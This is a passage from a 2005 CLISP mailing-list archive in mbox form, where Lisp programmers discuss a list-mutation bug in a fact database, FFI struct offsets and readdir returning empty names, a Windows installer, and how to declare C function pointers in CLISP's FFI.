sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DQsXX-00040u-Rh for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 12:49:45 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id BE1485833D; Wed, 27 Apr 2005 21:49:33 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2F12B582FA; Wed, 27 Apr 2005 21:49:30 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 554DC10FBF3; Wed, 27 Apr 2005 21:49:30 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17007.60617.825283.670431@thalassa.informatimago.com> To: Andreas Schmid Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Empty list problem with clisp In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.4 required=5.0 tests=AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 12:52:50 2005 X-Original-Date: Wed, 27 Apr 2005 21:49:29 +0200 Andreas Schmid writes: > Hi there, > > I've got a problem with code that used to work with a different implementation > of Common Lisp. Unfortunately it doesn't now with clisp. > > The idea of the code is to build a database of facts. It works just fine if the > database is non-empty, i.e. it already contains a fact. When starting with an > empty list, however, it seems to be impossible to add the first element to it > AND retain it. Here are the two functions involved and the dribble: > [...] > (defun make-db () > (format t "Empty database created:") > ()) > [...] > (defun add-fact (database new-fact) > (cond > ((null new-fact) (format t "List contains no data. Nothing added to database.")) > ((atom new-fact) (format t "Fact should be a list.")) > ((listp new-fact) (format t " Adding to database:~% ~A~%" database) > (if (null database) > (progn (setf database (list new-fact)) > (format t " Database empty!")) > (setf (rest database) (cons new-fact (rest database)))) > new-fact) > (t (format t "Fact should be a list."))) > database) Everything is either an ATOM or a CONS. Every list is either NIL or a CONS. Therefore: (cond ((null x) ...) ((atom x) ...) (t (assert (consp x)) ...)) covers all the cases. Now, your add-fact is hybrid. In some cases it destructively modifies the database list (setf (rest database) ...) in some other cases, it behaves functionnaly, returning a newly allocated list: (list new-fact) It would be better to be always functionnal, or always procedural. In the first case: (defun add-fact (database new-fact) (if (consp new-fact) (if (null database) (list new-fact) (cons new-fact database)) database)) Then you must use always add-fact as: (setf database (add-fact database new-fact)) In the second case, you cannot do with lists, for lists are either CONS or NIL and NIL is immutable. You have to use a mutable datatype. (defun make-db () (cons :db nil)) (defun dbp (object) (and (consp object) (eq :db (car object)))) (defun add-fact (database new-fact) (when (consp new-fact) (pushnew (cdr database) new-fact)) (values)) The you must use it always as: (add-fact database new-fact) In this second case, such functions are often in COMMON-LISP, prefixed with 'n': nadd-fact in scheme, suffixed with '!': add-fact! to signal they non-functional behavior. > Does anyone have an idea what is going on here? Read again what you wrote in your add-fact. -- __Pascal Bourguignon__ http://www.informatimago.com/ Small brave carnivores Kill pine cones and mosquitoes Fear vacuum cleaner From sds@gnu.org Wed Apr 27 14:56:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQuWL-0002bU-UW for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 14:56:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DQuVs-0002Ca-6q for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 14:56:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3RLtdpb015605; Wed, 27 Apr 2005 17:55:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17007.60617.825283.670431@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 27 Apr 2005 21:49:29 +0200") References: <17007.60617.825283.670431@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Empty list problem with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 14:58:10 2005 X-Original-Date: Wed, 27 Apr 2005 17:55:21 -0400 > * Pascal J.Bourguignon [2005-04-27 21:49:29 +0200]: > > (defun add-fact (database new-fact) > (when (consp new-fact) (pushnew (cdr database) new-fact)) (pushnew new-fact (cdr database)) > (values)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't hit a man when he's down -- kick him; it's easier. From pjb@informatimago.com Wed Apr 27 17:20:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQwlh-00031A-FE for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 17:20:37 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQwlf-0001W0-4o for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 17:20:37 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id A8D415833D; Thu, 28 Apr 2005 02:20:25 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 299E3582FA; Thu, 28 Apr 2005 02:20:23 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DEADE10FBF3; Thu, 28 Apr 2005 02:20:22 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17008.11334.309550.473168@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03040835DA@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03040835DA@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.4 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] dirent: d_name offset or readdir problem? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 17:24:32 2005 X-Original-Date: Thu, 28 Apr 2005 02:20:22 +0200 Hoehle, Joerg-Cyril writes: > [...] > > [54]> (mapcar (lambda (slot) > > (ffi:with-c-var (d 'linux:dirent) > > (- (ffi:foreign-address-unsigned > > (ffi:c-var-address (ffi:slot d slot))) > > (ffi:foreign-address-unsigned > > (ffi:c-var-address d))))) > > '(linux::d_ino linux::d_off linux::d_reclen > > linux::d_type linux::d_name)) > > (0 4 8 10 12) > Something is wrong on your machine. > (0 4 8 10 11) is what my machine says. > > I would appreciate if you could narrow this down a bit. For example, > on my machine: > (sizeof '(c-struct (foo list) (l uint8) (n (c-array-max character 3))) > ) > 4 ; 1 > and (ffi:sizeof 'ffi:uchar) -> 1 ; 1 > which meets, again, my expectations. > > FFI:SIZEOF reports (VALUES size alignment). They directly come from > the C compiler/preprocessor: sizeof() and alignof() operators. The > latter is lesser known and could by buggy. C-STRUCT offsets depend > on a working alignof(). > > There are only very few tests of ffi:sizeof in the CLISP testsuite > for the evident reason that it's highly machine dependent. > But I could happily add one like > c-struct character,(array character 3) -> 4;1 > or at least (sizeof (array character 3) -> (* 3 (sizeof character)) > > UNLESS somebody tolds me that even that cannot be expected on all > machines (or at least those that clisp works on)! In the process of testing, I've just recompiled all my clisps (2.33.2, 2.33.83), and now my test code above doesn't reflect the problem anymore, but it still exists, both in 2.33.2 and 2.33.83). Stranger. [pjb@thalassa bellerophon]$ cat test-dirent.lisp cat test-dirent.lisp (defun print-bug-report-info () (format t "~2%~{~28A ~S~%~}~2%" (list "LISP-IMPLEMENTATION-TYPE" (lisp-implementation-type) "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version) "SOFTWARE-TYPE" (software-type) "SOFTWARE-VERSION" (software-version) "MACHINE-INSTANCE" (machine-instance) "MACHINE-TYPE" (machine-type) "MACHINE-VERSION" (machine-version) "*FEATURES*" *FEATURES*))) (print-bug-report-info) (defun print-offsets (cstruct fields) (format t "structure ~A~%" cstruct) (format t "offsets:~%~:{ ~8A : ~3D~%~}" (mapcar (lambda (slot) (list slot (ffi:with-c-var (d cstruct) (- (ffi:foreign-address-unsigned (ffi:c-var-address (ffi:slot d slot))) (ffi:foreign-address-unsigned (ffi:c-var-address d)))))) fields)) (format t "size: ~3D~%" (ffi:sizeof cstruct))) (print-offsets 'linux:dirent '(linux::d_ino linux::d_off linux::d_reclen linux::d_type linux::d_name)) (ffi:def-c-struct foo-s (i ffi:long) (o linux:off_t) (r ffi:ushort) (y ffi:uchar) (n (ffi:c-array-max character 256))) (print-offsets 'foo-s '(i o r y n)) (print-offsets '(ffi:c-struct (foo list) (i ffi:long) (o linux:off_t) (r ffi:ushort) (y ffi:uchar) (n (ffi:c-array-max character 256))) '(i o r y n)) (let ((dir "/tmp/test-dirent/")) (ensure-directories-exist dir) (mapc (function delete-file) (directory (merge-pathnames "*.*" dir))) (mapc (lambda (name) (close (open (merge-pathnames name dir) :direction :output :if-does-not-exist :create))) '("marge.simpson" "homer.simpson" "bart.simpson" "lisa.simpson" "magie.simpson")) (let ((d (linux:opendir dir))) (unwind-protect (loop for e = (linux:readdir d) while e do (print (linux::dirent-d_name e))) (linux:closedir d)))) [pjb@thalassa bellerophon]$ /local/languages/clisp-2.33.2/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1 -norc [1]> (load"test-dirent.lisp") ;; Loading file test-dirent.lisp ... LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.2 (2004-06-02) (built 3323622442) (memory 3323622763)" SOFTWARE-TYPE "ANSI C program" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS :HAVE-DECLAIM :HAVE-PRINT-UNREADABLE-OBJECT :REGEXP :CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) structure dirent offsets: d_ino : 0 d_off : 4 d_reclen : 8 d_type : 10 d_name : 11 size: 268 structure FOO-S offsets: I : 0 O : 4 R : 8 Y : 10 N : 11 size: 268 structure (C-STRUCT (FOO LIST) (I LONG) (O off_t) (R USHORT) (Y UCHAR) (N (C-ARRAY-MAX CHARACTER 256))) offsets: I : 0 O : 4 R : 8 Y : 10 N : 11 size: 268 "" "" "" ;;;;;;;;;;;;;;;;;;;;;; <<=== readdir doesn't find d_name. "" "" "" "" ;; Loaded file test-dirent.lisp T [2]> (quit) [pjb@thalassa bellerophon]$ /local/languages/clisp-2.33.83/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1 -norc [1]> (load"test-dirent.lisp") ;; Loading file test-dirent.lisp ... LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.83 (2005-03-14) (built 3323600568) (memory 3323602105)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:WILDCARD :CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) structure DIRENT offsets: D_INO : 0 D_OFF : 4 D_RECLEN : 8 D_TYPE : 10 D_NAME : 11 size: 268 structure FOO-S offsets: I : 0 O : 4 R : 8 Y : 10 N : 11 size: 268 structure (C-STRUCT (FOO LIST) (I LONG) (O OFF_T) (R USHORT) (Y UCHAR) (N (C-ARRAY-MAX CHARACTER 256))) offsets: I : 0 O : 4 R : 8 Y : 10 N : 11 size: 268 "" "" "" "" "" "" "" ;; Loaded file test-dirent.lisp T [2]> (quit) [pjb@thalassa bellerophon]$ ls /tmp/test-dirent/ bart.simpson homer.simpson lisa.simpson magie.simpson marge.simpson [pjb@thalassa bellerophon]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS d? s++:++ a+ C+++ UL++++ P--- L+++ E+++ W++ N+++ o-- K- w--- O- M++ V PS PE++ Y++ PGP t+ 5+ X++ R !tv b+++ DI++++ D++ G e+++ h+ r-- z? ------END GEEK CODE BLOCK------ From lin8080@freenet.de Thu Apr 28 05:06:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DR7md-0003gY-5k for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 05:06:19 -0700 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DR7mb-0002uo-HL for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 05:06:19 -0700 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout0.freenet.de with esmtpa (Exim 4.51) id 1DR7mY-0005cM-Dk for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 14:06:14 +0200 Received: from be7b5.b.pppool.de ([213.7.231.181] helo=freenet.de) by mx4.freenet.de with esmtpa (ID lin8080@freenet.de) (Exim 4.51 #8) id 1DR7mX-0005GR-PK for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 14:06:14 +0200 Message-ID: <4270DEDC.3257D463@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: woe32 pretest: clisp 2.33.82 References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> <423AAC4E.2AA27570@freenet.de> <423DC721.47195F9B@freenet.de> <426CDA65.4E5DCBA6@freenet.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 28 05:08:14 2005 X-Original-Date: Thu, 28 Apr 2005 15:02:20 +0200 Sam Steingold schrieb: > > * lin8080 [2005-04-25 13:54:13 +0200]: Hallo > it appears that your system is misconfigured. Aha. Well run setup from Windows-CD, setup gfx and snd, setup DirectX 8.1, setup WinZip 8.0de, run install.bat and clisp.exe. Takes 33 min and several reboots. Right? > > (to make a perfect setup.exe, have a look at WinZip.exe or > > IrfanView.exe. Both do file-addings to registry and are very quick.) > do you have a patch? No. At the moment I rearrange Impnotes in a frame-set for better readability (planed to mix some CLHS-byts among). When finished this, maybe I recode some setup.exe or install.exe Progs to see what there is done (and do some bum-bum-games between). As I know, Java has a pretty installer - oh. lin PS: x-lisp html-docu is 80% finnished. Nice one. From kavenchuk@jenty.by Thu Apr 28 07:08:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DR9gn-0002uG-OU for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 07:08:25 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DR9gl-0007h5-NA for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 07:08:25 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id JYBH6SXV; Thu, 28 Apr 2005 17:11:20 +0300 Message-ID: <4270EE81.3030207@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] difference between ffi:c-function and (ffi:c-ptr ffi:c-function...) in function parameters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 28 07:10:51 2005 X-Original-Date: Thu, 28 Apr 2005 17:09:05 +0300 Example: > (ffi:def-c-type f1 (ffi:c-function (:language :stdc) (:return-type ffi:int) (:arguments (x ffi:int)))) F1 > (defun func1 (x) (* x x)) FUNC1 > (ffi:with-c-var (f 'f1 #'func1) f) # > (setq foo *) # > (funcall foo 5) 25 variant 1: > (ffi:def-c-type f2 (ffi:c-function (:language :stdc) (:return-type ffi:int) (:arguments (f f1) (x ffi:int)))) F2 > (defun func2 (f x) (funcall f x)) FUNC2 > (ffi:with-c-var (f 'f2 #'func2) f) # > (funcall * foo 5) 25 variant 2: > (ffi:def-c-type f2 (ffi:c-function (:language :stdc) (:return-type ffi:int) (:arguments (f (ffi:c-ptr f1)) (x ffi:int)))) F2 > (ffi:with-c-var (f 'f2 #'func2) f) # > (funcall * foo 5) 25 Both variants working. What example corresponds to c-definition: int f2( int *f1(int x), int y); Thanks. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 28 07:54:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRAPJ-0006Oi-V2 for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 07:54:25 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DRAPI-0005Dc-8G for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 07:54:25 -0700 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 28 Apr 2005 16:54:05 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 28 Apr 2005 16:52:44 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03042A5953@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: [clisp-list] difference between ffi:c-function and (ffi:c-ptr ffi :c-function...) in function parameters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 28 07:58:15 2005 X-Original-Date: Thu, 28 Apr 2005 16:52:40 +0200 Hi, [Yaroslav Kavenchuk wonders about ffi:c-function and (ffi:c-ptr ffi:c-function...)] Excellent question indeed. CLISP impnotes' example section covers an example similar to yours. Of course, examples are only informative, not normative, but I don't think right now that more text should be added to impnotes on this topic, do you? Basically, for arguments, you use (c-function ...) as meaning "pointer to function", since that's all that C passes on the stack. For creating function objects using the with-c-var trick I showed you, you can consider c-function as meaning "the function object". Therefore, (c-ptr (c-function #)) is usually wrong. >What example corresponds to c-definition: >int f2( int *f1(int x), int y); (def-call-out f2 (:arguments (f1 (c-function (:arguments (x int)) (:return-type int))) (y int)) :return-type int etc.) -- Just like in the impnotes examples. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Thu Apr 28 09:47:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRCB3-000553-CJ for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 09:47:49 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DRCB1-0002wM-A2 for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 09:47:49 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DRC5C-0007xv-RV for clisp-list@lists.sourceforge.net; Thu, 28 Apr 2005 18:41:49 +0200 Received: from i60nb23.ipr.uni-karlsruhe.de ([141.3.81.223]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 28 Apr 2005 18:41:46 +0200 Received: from anschmid by i60nb23.ipr.uni-karlsruhe.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 28 Apr 2005 18:41:46 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Andreas Schmid Lines: 3 Message-ID: References: <17007.60617.825283.670431@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 141.3.81.223 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 SUSE/1.0.3-1.1) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Empty list problem with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 28 09:50:12 2005 X-Original-Date: Thu, 28 